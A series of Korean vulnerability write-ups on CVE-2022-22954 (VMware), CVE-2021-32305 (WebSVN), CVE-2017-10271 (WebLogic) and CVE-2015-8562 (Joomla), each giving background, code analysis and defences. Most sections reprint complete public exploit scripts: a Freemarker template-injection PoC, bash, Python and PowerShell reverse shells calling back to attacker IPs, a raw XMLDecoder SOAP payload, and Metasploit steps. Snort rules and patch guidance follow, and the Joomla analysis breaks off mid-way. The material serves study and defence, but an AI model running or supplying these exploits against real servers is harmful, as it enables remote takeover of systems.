1. VMware 

- 클라우드 컴퓨팅 및 가상화 소프트웨어를 판매하는 기업

 

1.1 Workspace ONE

- 액세스 제어, 애플리케이션 관리 및 멀티 플랫폼 Endpoint 관리를 통합하여 기기에 관계없이 모든 애플리케이션을 제공하고 관리할 수 있는 디지털 워크스페이스 플랫폼

 

What is Workspace ONE? | Modern Anywhere Workforce Platform | VMware

VMware Workspace ONE is an intelligence-driven digital workspace platform that enables you to simply and securely deliver and manage any app on any device, anywhere.

www.vmware.com

 

1.2 Identity Manager

- Workspace ONE의 ID 및 액세스 관리 구성 요소

 

VMware Identity Manager Services 개요

VMware Identity Manager는 Workspace ONE의 ID 및 액세스 관리 구성 요소입니다. Workspace ONE UEM 및 VMware Horizon과 함께 VMware Identity Manager는 웹, 기본 및 가상 애플리케이션을 포함하는 범용 애플리케이션 카탈

docs.vmware.com

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2022-22954

- VMware Workspace ONE Access 및 Identity Manager에서 발생하는 원격 코드 실행 취약성 (CWSS 9.8)

- 네트워크 액세스 권한이 있는 위협 행위자가 RCE를 유발하는 서버 측 템플릿 주입을 트리거할 가능성 有

영향받는 버전
- VMware Workspace ONE Access 20.10.0.0 – 20.10.0.1, 21.08.0.0 – 21.08.0.1
- vIDM(VMware Identity Manager) 3.3.3 – 3.3.6

 

2.1 공격 흐름

① 공격자는 해당 취약점을 악용하여 초기 접근 권한을 얻음

② 취약한 서비스에서 스테이저를 실행하는 PowerShell 명령 실행

※ 스테이저(Stager) : C2 등 외부에서 쉘코드를 다운받아 메모리상에서 실행시켜주는 쉘코드

③ C2서버 접근

[사진 2] 전체 공격 흐름

2.2 분석

- 해당 취약점은 customError.ftl 템플릿에서 발생

- 안전하지 않은 freemarker 구문, 특히 신뢰할 수 없는 입력에 대한 eval 호출의 사용으로 인해 발생

[사진 3] templates/customError.ftl

2.3 PoC

- /catalog-portal/ui/oauth/verify?error=&deviceUdid= URL 요청

- deviceUdid 매개변수 값을 조작

"""
CVE-2022-22954 PoC - VMware Workspace ONE Access Freemarker Server-Side Template Injection
[+] Github:
https://github.com/DrorDvash/CVE-2022-22954_VMware_PoC
[+] Usage:
python3 CVE-2022-22954.py example.com "cat /etc/passwd"
"""

import sys
import requests

usage = '[+] Usage: python3 {} example.com "cat /etc/passwd"\n'.format(sys.argv[0])

if ("-h" in sys.argv[1]) or (len(sys.argv) < 1):
	print("\n" + usage)
	exit()


def execute():
	try:
		# Check if user input includes "http://" or "https://"
		if "://" in sys.argv[1]:
			domain = sys.argv[1]
		else:
			domain = "https://" + sys.argv[1]

		# Build URL
		base_uri = "/catalog-portal/ui/oauth/verify?error=&deviceUdid="
		payload = "${{\"freemarker.template.utility.Execute\"?new()(\"{}\")}}".format(sys.argv[2])
		final_url = domain + base_uri + url_encode_all(payload)

		# Send payload
		r = requests.get(final_url)

		# Handle response output - get the desired data
		from_output = r.text.find(': workspace, device id:')
		to_output = r.text.find(', device type:')

		# Print output
		if from_output != -1:
			print("#PoC URL:", final_url, "\n")
			print("[+] Output:\n----------")
			output = r.text[from_output+24:to_output]
			for line in output.split('\\n'):
				print(line)
		else:
			print("[!] Target is not vulnerable.")
	except:
		print('[!] ERROR!\n{}'.format(usage))
		exit()


def url_encode_all(string):
	return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)


execute()

 

- 위 PoC를 통한 패킷을 확인해보면 아래와 같음.

[사진 4] 패킷 확인

3. 대응방안

3.1 서버측면

- 벤더사에서 발표한 보안 권고를 참고하여 최신 버전으로 업데이트

 

VMSA-2022-0011

VMware Workspace ONE Access, Identity Manager and vRealize Automation updates address multiple vulnerabilities.

www.vmware.com

 

3.2 네트워크 측면

- 공개된 PoC를 통해 탐지 정책(/catalog-portal/ui/oauth/verify?error=&deviceUdid=) 설정 및 적용

alert tcp $EXTERNAL_NET any -> $HOME_NET any(msg:"CVE-2022-22954 GET Observed"; \ flow:to_server, established; \ content:"GET"; http_method; \ content:"catalog|2d|portal|2f|ui|2f|oauth|2f|verify|3f|error|3d 26|deviceUdid|3d|"; http.uri; \ priority:2; \ metadata: Not tested for FP rate or accuracy; \ reference:url,https://www.rapid7.com/blog/post/2022/04/29/widespread-exploitation-of-vmware-workspace-one-access-cve-2022-22954/,CVE-2022-22954; \ sid:1000012; rev:1;) \

 

4. 참고

- https://srcincite.io/advisories/src-2022-0005/

- https://www.vmware.com/kr/products/workspace-one.html

- https://cloud.tencent.com/developer/article/2087159

- https://wins21.co.kr/kor/promotion/information.html?bmain=view&uid=3062&search=%26depth1%3D%26find_field%3Dtitle%26find_word%3DCVE-2022-22954%26page%3D1 

https://nvd.nist.gov/vuln/detail/cve-2022-22954

https://github.com/DrorDvash/CVE-2022-22954_VMware_PoC

- https://www.boannews.com/media/view.asp?idx=106896 

- https://krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66633

- https://www.vmware.com/security/advisories/VMSA-2022-0011.html

https://kb.vmware.com/s/article/88099

https://attackerkb.com/topics/BDXyTqY1ld/cve-2022-22954/rapid7-analysis

https://unit42.paloaltonetworks.com/cve-2022-22954-vmware-vulnerabilities/

https://packetstormsecurity.com/files/166935/VMware-Workspace-ONE-Access-Template-Injection-Command-Execution.html

1. Websvn

- 웹 기반 Subversion Repository 브라우저로 파일 또는 폴더의 로그를 보거나 파일의 변경 목록을 볼 수 있음

- 온라인 서브버전 저장소 브라우저
- 로컬 또는 원격 SVN저장소를 연결하여 웹 탐색기 제공
- 리비전별 폴더 탐색, 비교
- 파일 히스토리 간편 확인
- 작성언어: PHP

 

WebSVN - Online subversion repository browser

Why WebSVN? WebSVN offers a view onto your subversion repositories that's been designed to reflect the Subversion methodology. You can view the log of any file or directory and see a list of all the files changed, added or deleted in any given revision. Yo

websvnphp.github.io

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2021-32305

- WebSVN에서 search 매개변수에대한 입력값 검증이 없어 발생하는 원격 명령 실행 취약점

영향받는 버전 : WebSVN 2.6.1 이전 버전

 

2.1 분석

- 먼저, 사용자 입력값 중 search 매개변수를 읽어 showSearchResults() 호출

[사진 2] /search.php

 

- search 매개변수(사용자 입력값)는 showSearchResults()의 $searchstring 변수에 대응됨

- showSearchResults()는 다시 getListeSearch()를 호출

[사진 3] /search.php

 

- $searchstring(사용자 입력값)는 getListSearch()의 $searchstring 변수에 대응

- svnCommandString()에 의해 $cmd로 처리된 후 _xmlParseCmdOutput의 인자로 전달

[사진 4] /include/svnlook.php

 

- _xmlParseCmdOutput()에서 runCommand()의 인자로 $cmd 전달

[사진 5] /include/svnlook.php

 

- runCommand()에서 $cmd(사용자 입력값)는 proc_open()에 의해 최종적으로 실행되어 결과를 반환

[사진 6] /include/command.php

 

- proc_open()은 명령을 실행하는 함수로, command 인자는 실행할 명령줄을 가짐

[사진 7] https://www.php.net/manual/en/function.proc-open.php

 

- 위 과정을 요약하면 [사진 8]과 같음

[사진 8] 정리

2.3 PoC

- 아래 PoC는 search 매개변수에 공격자 PC에 리버스쉘을 생성하는 코드를 삽입하는 PoC

# Exploit Title: Websvn 2.6.0 - Remote Code Execution (Unauthenticated)
# Date: 20/06/2021
# Exploit Author: g0ldm45k
# Vendor Homepage: https://websvnphp.github.io/
# Software Link: https://github.com/websvnphp/websvn/releases/tag/2.6.0
# Version: 2.6.0
# Tested on: Docker + Debian GNU/Linux (Buster)
# CVE : CVE-2021-32305

import requests
import argparse
from urllib.parse import quote_plus

PAYLOAD = "/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.149/4444 0>&1'"
REQUEST_PAYLOAD = '/search.php?search=";{};"'

parser = argparse.ArgumentParser(description='Send a payload to a websvn 2.6.0 server.')
parser.add_argument('target', type=str, help="Target URL.")

args = parser.parse_args()

if args.target.startswith("http://") or args.target.startswith("https://"):
    target = args.target
else:
    print("[!] Target should start with either http:// or https://")
    exit()

requests.get(target + REQUEST_PAYLOAD.format(quote_plus(PAYLOAD)))

print("[*] Request send. Did you get what you wanted?")

 

3. 대응방안

3.1 서버측면

① 패치 버전 적용

- escapeshellarg()를 통해 $searchstring(search 매개변수_사용자 입력값)에 대한 검증을 수행

[사진 9] 패치 코드

 

3.2 네트워크 측면

① /search.php?search이 포함된 URL에 대해 탐지할 수 있는 정책을 설정 및 적용

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2021-32305
https://unit42.paloaltonetworks.com/cve-2021-32305-websvn/
https://github.com/websvnphp/websvn/pull/142
https://packetstormsecurity.com/files/163225/Websvn-2.6.0-Remote-Code-Execution.html
https://gryffinbit.top/2022/10/31/%E5%A4%8D%E7%8E%B0websvn-2-6-0-%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E-cve-2021-32305/
https://zetawiki.com/wiki/WebSVN
https://www.php.net/manual/en/function.proc-open.php
https://github.com/websvnphp/websvn/releases/tag/2.6.0

1. Oracle WebLogic

- 오라클이 개발한 웹 애플리케이션 서버

- JAVAEE 아키텍처를 기반으로 하는 미들웨어

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2017-10271

- Oracle WebLogic Server WLS Security 구성 요소에서 부적절한 사용자 입력 값 처리로 인해 인증되지 않은 공격자가 WebLogic의 권한으로 원격 코드 실행이 가능한 취약점

- 해당 취약점을 이용해 암호화폐 채굴프로그램을 실행하는 이슈가 있다고 함

① 영향받는 버전
- Oracle Weblogic Server 10.3.3.0
- Oracle Weblogic Server 10.3.6 0
- Oracle Weblogic Server 12.2.1.1
- Oracle Weblogic Server 12.2.1.2
- Oracle Weblogic Server 12.1.3.0

 

2.1 실습

- docker 빌드 및 실행

git clone https://github.com/vulhub/vulhub
cd /vulhub/weblogic/CVE-2017-10271
docker-compose up -d

[사진 2] docker 성공적 실행

- 공격자의 터미널 생성

[사진 3] 터미널 생성

- Exploit 수행

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.56.112:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 639

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.56.102/4444 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

 

- Exploit 결과 공격자는 쉘을 획득하고, 임의의 명령을 수행할 수 있게됨

- 이 외에도 웹쉘 생성 등이 가능함

[사진 4] 쉘 획득

- Exploit 과정의 패킷 확인

[사진 5] 와이어샤크 확인

2.2 분석

- 정리하면 XML을 구문 분석하는 과정에서 Element 필드 값이 Object 이면 예외가 발생하며 이로 인해 취약점이 발생

- wls-wsat.war에서 발생하며, 이 구성 요소는 weblogic과 함께 제공되는 webservices 핸들러를 사용하여  SOAP 요청을 처리

- WorkContextServerTube 클래스의 processRequest 메소드사용자 요청에서 XML을 분할하여 실제 실행될 XML을 추출하여 readHeaderOld 메소드에 넘겨줌

weblogic.wsee.jaxws.workcontext.WorkContextServerTube

 

[사진 6] processRequest 메소드

 

- ByteArrayOutputStream var4는 PoC 코드의 실제 실행 부분으로 채워짐 (해당 근거는 정확히 모르겠음)

[사진 7] readHeaderOld 메소드

 

- [사진 7]에서 덮어씌워진 공격 코드가 [사진 8]의 XMLDecoder에 의해 실행

[사진 8]&nbsp;XMLDecoder

2.3 PoC

- 사용자로부터 인수(self.cmd_base(), self.cmd_opt(), self.cmd_payload)를 전달받아 get_process_builder_payload 함수에서 공격 페이로드를 완성

- 요청 URL : /wls-wsat/CoordinatorPortType

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title: Weblogic wls-wsat Component Deserialization RCE
# Date Authored: Jan 3, 2018
# Date Announced: 10/19/2017
# Exploit Author: Kevin Kirsche (d3c3pt10n)
# Exploit Github: https://github.com/kkirsche/CVE-2017-10271
#     Exploit is based off of POC by Luffin from Github
#     https://github.com/Luffin/CVE-2017-10271
# Vendor Homepage: http://www.oracle.com/technetwork/middleware/weblogic/overview/index.html
# Version: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0
# Tested on: Oracle WebLogic 10.3.6.0.0 running on Oracle Linux 6.8 and Ubuntu 14.04.4 LTS
# CVE: CVE-2017-10271
# Usage: python exploit.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/
#   (Python 3) Example check listener: python3 -m http.server 4444
#   (Python 2) Example check listener: python -m SimpleHTTPServer 4444
#   (Netcat) Example exploit listener: nc -nlvp 4444

from requests import post
from argparse import ArgumentParser
from random import choice
from string import ascii_uppercase, ascii_lowercase, digits
from typing import Literal
from xml.sax.saxutils import escape

class Exploit:

    def __init__(self, check: bool, rhost: str, lhost: str, lport: str, windows: bool) -> None:
        self.url = rhost.strip("/") if rhost.endswith('/') else rhost
        self.lhost = lhost
        self.lport = lport
        self.check = check
        self.target = "win" if windows else "unix"

        if self.target == 'unix':
            # Unix reverse shell
            # You should also be able to instead use something from MSFVenom. E.g.
            # msfvenom -p cmd/unix/reverse_python LHOST=10.10.10.10 LPORT=4444
            self.cmd_payload = (
                "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket."
                "SOCK_STREAM);s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0); os.dup2("
                "s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
            ).format(lhost=self.lhost, lport=self.lport)
        else:
            # Windows reverse shell
            # Based on msfvenom -p cmd/windows/reverse_powershell LHOST=10.10.10.10 LPORT=4444
            self.cmd_payload = (
                r"powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) "
                r"{$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a='" + self.lhost +""
                r"';$p='"+ self.lport + "';$c=New-Object system.net.sockets.tcpclient;$c.connect($a"
                r",$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;"
                r"$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';"
                r"$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;"
                r"$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;"
                r"$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;"
                r"while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};"
                r"$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;"
                r"while (-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1; while (($i -gt 0)"
                r" -and ($pos -lt $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length - $pos);$pos+=$r;"
                r"if (-not $pos -or $pos -eq 0) {RSC};if ($nb[0..$($pos-1)] -contains 10) {break}};"
                r"if ($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);start-sleep 1;if "
                r"($p.ExitCode -ne $null){RSC}else{$o=$e.GetString($os.Read());while($os.Peek() -ne"
                r" -1){$o += $e.GetString($os.Read());if ($o -eq $str) {$o=''}};$s.Write($e."
                r"GetBytes($o),0,$o.length);$o=$null;$str=$null}}else{RSC}};"
            )
        self.cmd_payload = escape(self.cmd_payload)

    def cmd_base(self) -> Literal["cmd", "/bin/sh"]:
        return "cmd" if self.target == "win" else "/bin/sh"

    def cmd_opt(self) -> Literal["/c", "-c"]:
        return "/c" if self.target == "win" else "-c"

    def get_generic_check_payload(self) -> str:
        random_uri = ''.join(
            choice(ascii_uppercase + ascii_lowercase + digits)
            for _ in range(16))
        return f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.8" class="java.beans.XMLDecoder">
        <void id="url" class="java.net.URL">
          <string>http://{self.lhost}:{self.lport}/{random_uri}</string>
        </void>
        <void idref="url">
          <void id="stream" method = "openStream" />
        </void>
      </java>
    </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
'''

    def get_process_builder_payload(self) -> str:
        return f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java>
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3" >
            <void index="0">
              <string>{self.cmd_base()}</string>
            </void>
            <void index="1">
              <string>{self.cmd_opt()}</string>
            </void>
            <void index="2">
              <string>{self.cmd_payload}</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
'''

    def print_banner(self) -> None:
        print("=" * 80)
        print("CVE-2017-10271 RCE Exploit")
        print("written by: Kevin Kirsche (d3c3pt10n)")
        print(f"Remote Target: {self.url}")
        print(f"Shell Listener: {self.lhost}:{self.lport}")
        print("=" * 80)

    def post_exploit(self, data: str) -> None:
        headers = {
            "Content-Type":
            "text/xml;charset=UTF-8",
            "User-Agent": (
                "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 "
                + "(KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
            ),
        }
        vulnurl = f"{self.url}/wls-wsat/CoordinatorPortType"
        try:
            _ = post(
                vulnurl, data=data, headers=headers, timeout=10, verify=False)
            if self.check:
                print("[*] Did you get an HTTP GET request back?")
            else:
                print("[*] Did you get a shell back?")
        except Exception as e:
            print('[!] Connection Error')
            print(e)

    def run(self) -> None:
        self.print_banner()
        if self.check:
            print('[+] Generating generic check payload')
            payload = self.get_generic_check_payload()
        else:
            print('[+] Generating execution payload')
            payload = self.get_process_builder_payload()
        print('[*] Generated:')
        print(payload)
        if self.check:
            print('[+] Running generic check payload')
        else:
            print(f'[+] Running {self.target} execute payload')

        self.post_exploit(data=payload)


if __name__ == "__main__":
    parser = ArgumentParser(
        description=(
            "CVE-2017-10271 Oracle WebLogic Server WLS Security exploit. "
            + "Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, "
            + "12.2.1.1.0 and 12.2.1.2.0."
        )
    )
    parser.add_argument(
        "-l",
        "--lhost",
        required=True,
        dest="lhost",
        nargs="?",
        help="The listening host that the remote server should connect back to",
    )
    parser.add_argument(
        "-p",
        "--lport",
        required=True,
        dest="lport",
        nargs="?",
        help="The listening port that the remote server should connect back to",
    )
    parser.add_argument(
        "-r",
        "--rhost",
        required=True,
        dest="rhost",
        nargs="?",
        help="The remote host base URL that we should send the exploit to",
    )
    parser.add_argument(
        "-c",
        "--check",
        dest="check",
        action="store_true",
        help=(
            "Execute a check using HTTP to see if the host is vulnerable. This will"
            + "cause the host to issue an HTTP request. This is a generic check."
        ),
    )
    parser.add_argument(
        "-w",
        "--win",
        dest="windows",
        action="store_true",
        help="Use the windows cmd payload instead of unix payload (execute mode only).",
    )

    args = parser.parse_args()

    exploit = Exploit(
        check=args.check,
        rhost=args.rhost,
        lhost=args.lhost,
        lport=args.lport,
        windows=args.windows,
    )
    exploit.run()

 

- PoC에서 확인된 URL외 다음 URL을 통한 공격도 가능

- /wls-wsat/CoordinatorPortType11
- /wls-wsat/ParticipantPortType
- /wls-wsat/ParticipantPortType11
- /wls-wsat/RegistrationPortTypeRPC
- /wls-wsat/RegistrationPortTypeRPC11
- /wls-wsat/RegistrationRequesterPortType
- /wls-wsat/RegistrationRequesterPortType11

 

3. 대응방안

3.1 서버측면

① 최신 버전 업데이트 적용

- object , new , method , void 및 array 와 같은 필드의 사용을 제한함으로써 보안 우회를 방지

private void validate(InputStream is) {
 WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
 
 try {
  SAXParser parser = factory.newSAXParser();
  
  parser.parse(is, new DefaultHandler()) {
   private int overallarraylength = 0;
   
   public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXEception {
    if (qName.equalsIgnoreCase("object")) {
     throw new IllegalStateException("Invalid element qName:object");
    } else if (qName.equalsIgnoreCase("new")) {
     throw new IllegalStateException("Invalid element qName:new");
    } else if (qName.equalsIgnoreCase("method")) {
     throw new IllegalStateException("Invalid element qName:method");
    } else {
     if (qName.equalsIgnoreCase("void")) {
      for(int attClass = 0;attClass < attributes.getLength(); ++attClass) {
       if (!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
        throw new IllegalStateException("Invalid attribute for element void: " + attributes.getQName(attClass));
       }
      }
     }
     
     ... more code here ...
    }
   }
  }
 }
}

 

- patch v171017 이상 버전의 패치로 업데이트

※ 10.3.5 이하는 10.3.6으로 업데이트 후 패치

※ 패치 링크는 Oracle 계약이 되어있는 계정만 확인 가능

Product Home
Patch
Advisory Number
Comments
WebLogic Server 12.2.1.2 home
WLS PSU 12.2.1.2.171017 Patch 26485996
CVE-2017-10271, CVE-2017-10336, CVE-2017-10352, CVE-2017-10334
Fix for CVE-2017-5638 and CVE-2017-9805 is not included in the WLS PSU patches. See Note 2255054.1, "Oracle WebLogic Server Requirements for Apache Struts 2 and CVE-2017-5638 / CVE-2017-9805"
WebLogic Server 12.2.1.1 home
WLS PSU 12.2.1.1.171017 Patch 26519400
CVE-2017-10271, CVE-2017-10336, CVE-2017-10352, CVE-2017-10334
Fix for CVE-2017-5638 and CVE-2017-9805 is not included in the WLS PSU patches. See Note 2255054.1, "Oracle WebLogic Server Requirements for Apache Struts 2 and CVE-2017-5638 / CVE-2017-9805"
WebLogic Server 12.1.3.0 home
WLS PSU 12.1.3.0.171017 Patch 26519417
CVE-2017-10271, CVE-2017-10336, CVE-2017-10152, CVE-2017-10352, CVE-2017-10334
Fix for CVE-2017-5638 and CVE-2017-9805 is not included in the WLS PSU patches. See Note 2255054.1, "Oracle WebLogic Server Requirements for Apache Struts 2 and CVE-2017-5638 / CVE-2017-9805"
WebLogic Server 10.3.6.0 home
WLS PSU 10.3.6.0.171017 Patch 26519424
CVE-2017-10271, CVE-2017-10336, CVE-2017-10152, CVE-2017-10352, CVE-2017-10334
See Note 1607170.1, SSL Authentication Problem Using WebLogic 10.3.6 and 12.1.1 With JDK1.7.0_40 or Higher
Fix for CVE-2017-5638 is not included in the WLS PSU patches. See Note 2255054.1, "Upgrade Apache Struts 2 to Version 2.3.32 for WebLogic Code Example"

 

② 업데이트가 불가할 경우 다음 중 한 가지를 수행

⒜ wls-wsat 컴포넌트 URL을 웹 방화벽에서 차단

- /wls-wsat/*

- /wls-wsat/CoordinatorPortType
- /wls-wsat/CoordinatorPortType11
- /wls-wsat/ParticipantPortType
- /wls-wsat/ParticipantPortType11
- /wls-wsat/RegistrationPortTypeRPC
- /wls-wsat/RegistrationPortTypeRPC11
- /wls-wsat/RegistrationRequesterPortType
- /wls-wsat/RegistrationRequesterPortType11

 

⒝ wls-wsat 컴포넌트 삭제

- find / -name *wls-wsat* 검색 후 삭제

[사진 9] wls-wsat 컴포넌트 삭제

 

⒞ wls-wsat 컴포넌트 비활성화 옵션 추가

# setDomainEnv.sh 파일을 설정하거나 본인이 알고있다면 다른 쉘스크립트를 수정해도 된다.
# $DOMAIN_HOME/bin/setDomainEnv.sh 파일 수정
1004lucifer@WAS01:/app/wls1036/domains/domain/bin>$ vi setDomainEnv.sh

... (생략)
JAVA_PROPERTIES="${JAVA_PROPERTIES} ${WLP_JAVA_PROPERTIES}"
export JAVA_PROPERTIES

JAVA_OPTIONS="${JAVA_OPTIONS} ${JAVA_PROPERTIES} -Dwlw.iterativeDev=${iterativeDevFlag} -Dwlw.testConsole=${testConsoleFlag} -Dwlw.logErrorsToConsole=${logErrorsToConsoleFlag}"
JAVA_OPTIONS="-Dweblogic.wsee.wstx.wsat.deployed=false ${JAVA_OPTIONS}"
export JAVA_OPTIONS
... (생략)

1004lucifer@WAS01:/app/wls1036/domains/domain/bin>$

 

3.2 네트워크 측면

- wls-wsat 컴포넌트틀 통한 요청을 탐지할 수 있는 정책 생성 및 적용

alert tcp any any -> any any (msg:"Oracle WebLogic WLS Security Component RCE (CVE-2017-10271)"; flow:established,from_client; content:"wls-wsat"; http_uri; nocase;)

- /wls-wsat/CoordinatorPortType
- /wls-wsat/CoordinatorPortType11
- /wls-wsat/ParticipantPortType
- /wls-wsat/ParticipantPortType11
- /wls-wsat/RegistrationPortTypeRPC
- /wls-wsat/RegistrationPortTypeRPC11
- /wls-wsat/RegistrationRequesterPortType
- /wls-wsat/RegistrationRequesterPortType11

 

4. 참고

- https://nvd.nist.gov/vuln/detail/CVE-2017-10271

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=26948 

- https://www.oracle.com/security-alerts/cpuoct2017.html

- https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271

- https://bl4ck.in/vulnerability/analysis/2017/12/22/WebLogic-WLS-WebServices%E7%BB%84%E4%BB%B6%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html

- https://paper.seebug.org/487/

- https://nsfocusglobal.com/technical-analysis-and-solution-of-weblogic-server-wls-component-vulnerability/

- http://1004lucifer.blogspot.com/2018/

- http://genes1s.egloos.com/3079282

1. Joomla

- PHP로 작성된 오픈 소스 저작물 관리 시스템
- MySQL 데이터베이스를 이용해 웹상에서 다양한 컨텐츠를 관리, 보관, 출판할 수 있는 기능을 가짐

 

 2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2015-8562

- 세션 데이터에 조작된 User-Agent 문자열을 삽입하여 잘못된 세션 헨들러 로직을 통해 데이터베이스(utf8_general_ci)에 저장되는 취약점

- session_decode() 함수 버그(CVE-2015-6835)와 unserialize() 함수 버그(CVE-2015-0273)이 관련됨

영향받는 버전
- 3.4.6 이전의 Joomla 1.5.x, 2.x 및 3.x
- PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29, PHP 5.4 < 5.4.45

 

2.1 실습

- Joomla를 설치 하였으나, [사진 1] 에러가 발생

※ 구글링 조회 결과를 바탕으로 실습 보고서 작성

[사진 1] 취약한 서버 구동

 

- 공격 대상이 취약점에 영향을 받는 Joomla 및 PHP 버전에 해당하는지 확인

- Metasploit 스캐너를 통해 줌라 버전 조회 (취약한 Joomla 버전 : 3.4.6 이전의 Joomla 1.5.x, 2.x 및 3.x)

msf6 > use auxiliary/scanner/http/joomla_version 
msf6 auxiliary(scanner/http/joomla_version) > set rhosts 192.168.56.112
msf6 auxiliary(scanner/http/joomla_version) > set targeturi /joomla/
msf6 auxiliary(scanner/http/joomla_version) > run

[사진 2] Scan 수행(위) 및 취약한 경우 결과(아래)

 

- PHP 버전 확인 (취약한 PHP 버전 : PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29, PHP 5.4 < 5.4.45)

[사진 3] PHP 버전 조회

 

- CVE-2015-8562 모듈을 다운로드하여 실습 진행

- Exploit 결과 공격자와 session이 설정되었으며, sysinfo, getuid 등의 명령을 통해 서버의 정보를 조회할 수 있음

wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/http/joomla_http_header_rce.rb
cp joomla_http_header_rce.rb /usr/share/metasploit-framework/modules/exploits/multi/http
msfconsole   
msf6 > use exploit/multi/http/joomla_http_header_rce 
msf6 exploit(multi/http/joomla_http_header_rce) > set payload php/meterpreter/bind_tcp
msf6 exploit(multi/http/joomla_http_header_rce) > set rhosts 192.168.56.112
msf6 exploit(multi/http/joomla_http_header_rce) > set rport 8080
msf6 exploit(multi/http/joomla_http_header_rce) > set targeturi /joomla/
msf6 exploit(multi/http/joomla_http_header_rce) > set lhosts 192.168.56.102
msf6 exploit(multi/http/joomla_http_header_rce) > exploit

[사진 4] exploit 수행

 

- 위 패킷을 와이어샤크로 확인해보면 다음과 같음

[사진 5] 패킷 덤프

 

- 익스플로잇 후 데이터베이스에서 "joomla_sessions" 테이블을 확인해보면 조작된 세션 데이터가 저장됨

※ joomla_sessions : 세션 데이터를 보유하고 있는 테이블

[사진 6] 익스플로잇 전(좌) 후(우) 테이블 비교

2.2 분석

- Joomla는 수신하는 모든 User-Agent 헤더를 웹사이트 데이터베이스에 저장

- 이 경우, User-Agnet나 HTTP_X_FORWARDED_FOR 헤더를 통해 서버에 사용자 PC 정보를 알려줌

- 보통 통계 자료로 활용하기 위해 수집하며, Joomla에서는 해당 데이터를 세션에 저장

 

- [사진 7]을 확인해 보면, User-Agent 헤더를 통해 문자열을 입력 받을 수 있음

[사진 7] Joomla Package\libraries\joomla\session\session.php

 

- 데이터베이스에 저장하는 과정 중 직렬화를 수행

source > array("a" => 5, "b" => 6)
serialize() 함수 > a:2:{s:1:"a";i:5;s:1:"b";i:6;}
session_encode() 함수 > a|i:5;b|i:6;

 

- database.php에서 취약점이 트리거됨

$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

[사진 8] Joomla Package\libraries\joomla\session\storage\database.php

 

- 보호된 변수(protected)는 직렬화 시 "\0*\0" 로 시작

class CustomClass
{
protected $data = 5;
}
echo serialize(new CustomClass);

결과 > O:11:"CustomClass":1:{s:7:"\0*\0data";i:5;}

 

